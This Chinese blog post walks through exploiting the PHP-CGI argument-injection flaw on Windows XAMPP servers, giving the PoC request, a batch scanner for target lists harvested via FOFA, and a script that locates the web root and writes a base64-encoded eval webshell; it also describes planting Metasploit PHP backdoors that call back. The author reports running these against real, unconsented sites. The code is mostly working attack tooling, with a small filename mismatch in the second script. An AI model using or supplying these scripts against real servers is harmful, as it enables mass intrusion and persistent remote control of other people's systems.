php-cgi漏洞利用

php-cgi漏洞利用

对喽,这里只是关于这个漏洞的利用方式,具体分析的可以看,先知社区

poc

c 复制代码
/php-cgi/php-cgi.exe?%ADd+allow_url_include%3Don+%ADd+auto_prepend_file%3Dphp%3A//input
REDIRECT-STATUS: 1

这个漏洞出来的有些久了,那就先来写个简单的批量检测脚本(找个大冤种测试)

pythonimport 复制代码
# 目标URL
import requests

for url in open("a.txt"):
    urls=url.replace('\n', '')+"/php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input";
    data = '<?php ?>'
    headers={
        "Redirect-Status":"1"
    }
    proxies = {
        'http': 'http://127.0.0.1:8080',
        'https': 'http://127.0.0.1:8080',
    }
    try:

        response = requests.post(urls, data=data,proxies=proxies,headers=headers,verify=False)
        if response.status_code==200:
            print(url.replace('\n', '') + "存在漏洞")
        if "text" in response.text:
            print(url.replace('\n', '')+"存在漏洞")
    except:
        print(url.replace('\n', '') + "不存在漏洞")

这里有两种检测方式,第一种是通过检测返回包中的特定字符,第二种是通过网站状态码进行检测,都能找到大冤种,字典的话,通过fofa语法提取一些即可

那么也是找到了一个大冤种,

首先通过执行命令的方式找一下webshell应该存放的目录

这里网站的根目录也就是C:\\xampp\\htdocs\\,也就是xampp的默认目录,

配合file_put_contents方法,上传一句话木马,那么就是

c 复制代码
<?php file_put_contents("C:\\xampp\\htdocs\\phpinfo.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4="))

这会出现几个问题首先phpinfo.php如果在目录下存在的话,就无法写入,其次就是一句话木马的查杀问题,

当然了,如果不是默认路径的话,最简单的利用方式就是换盘符,也就是CDEFG都访问一下,那么写个py脚本,直接利用

c 复制代码
import requests
import re

for url in open("a.txt"):
    urls=url.replace('\n', '')+"/php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input";
    data = '<?php ?>'
    headers={
        "Redirect-Status":"1"
    }
    proxies = {
        'http': 'http://127.0.0.1:8080',
        'https': 'http://127.0.0.1:8080',
    }
    try:

        response = requests.post(urls, data=data,proxies=proxies,headers=headers,verify=False)
        if response.status_code==200:
            print(url.replace('\n', '') + "存在漏洞")
            data1='<?php system("chdir")?>'
            response = requests.post(urls, data=data1, proxies=proxies, headers=headers, verify=False)
            pattern = r"[A-Za-z]:\\(?:[^\\\/:*?\"<>|]+\\)*[^\\\/:*?\"<>|]*"
            lujing=re.findall(pattern,response.text)
            path=lujing[0].replace("php","htdocs\\phpin.php").replace("\\","\\\\")
            data2= '<?php file_put_contents('+path+', base64_decode("PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2EnXSk7Pz4="));?>'
            response = requests.post(urls, data=data2, proxies=proxies, headers=headers, verify=False)
            response = requests.post(urls+"/phpin.fo",proxies=proxies, verify=False)
            if response.status_code==200:
                print(urls+"/phpin.fo")
    except:
        continue

代理我这边设置的是burp中转小飞机,使用的话,自行测试一下即可

第二种方法

msf生成php后门,然后直接替换POST中data的木马,但是这种模式有很大的局限性,回连是可以回连,执行命令等情况,经常会断开,可能是因为php不能够重复执行命令的原因

相关推荐
mooyuan天天12 小时前
MySQL数据库UDF提权+Find提权渗透实战(Raven2靶机)
web安全·udf提权·phpmailer·raven2
真正的醒悟12 小时前
202503-经验之道
服务器·网络·php
Xudde.13 小时前
BabyPass靶机渗透
笔记·学习·安全·web安全
云计算练习生13 小时前
渗透测试行业术语—— 网络攻击方式与漏洞利用
服务器·网络·安全·渗透测试术语·网络安全术语
wuxuanok14 小时前
ThinkPHP ——安装部署与配置
sql·mysql·nginx·php
像风没有归宿a14 小时前
2024年全球网络安全威胁报告:AI攻击与勒索软件新变种
人工智能·安全·web安全
oioihoii17 小时前
C++异常安全保证:从理论到实践
开发语言·c++·安全
霍格沃兹测试学院-小舟畅学17 小时前
性能测试入门:使用 Playwright 测量关键 Web 性能指标
开发语言·前端·php
zorro_z17 小时前
ThinkPHP8学习篇(十三):视图
php
YJlio17 小时前
Active Directory 工具学习笔记(10.3):AdExplorer 实战(三)— 配置与偏好、导出与安全
笔记·学习·安全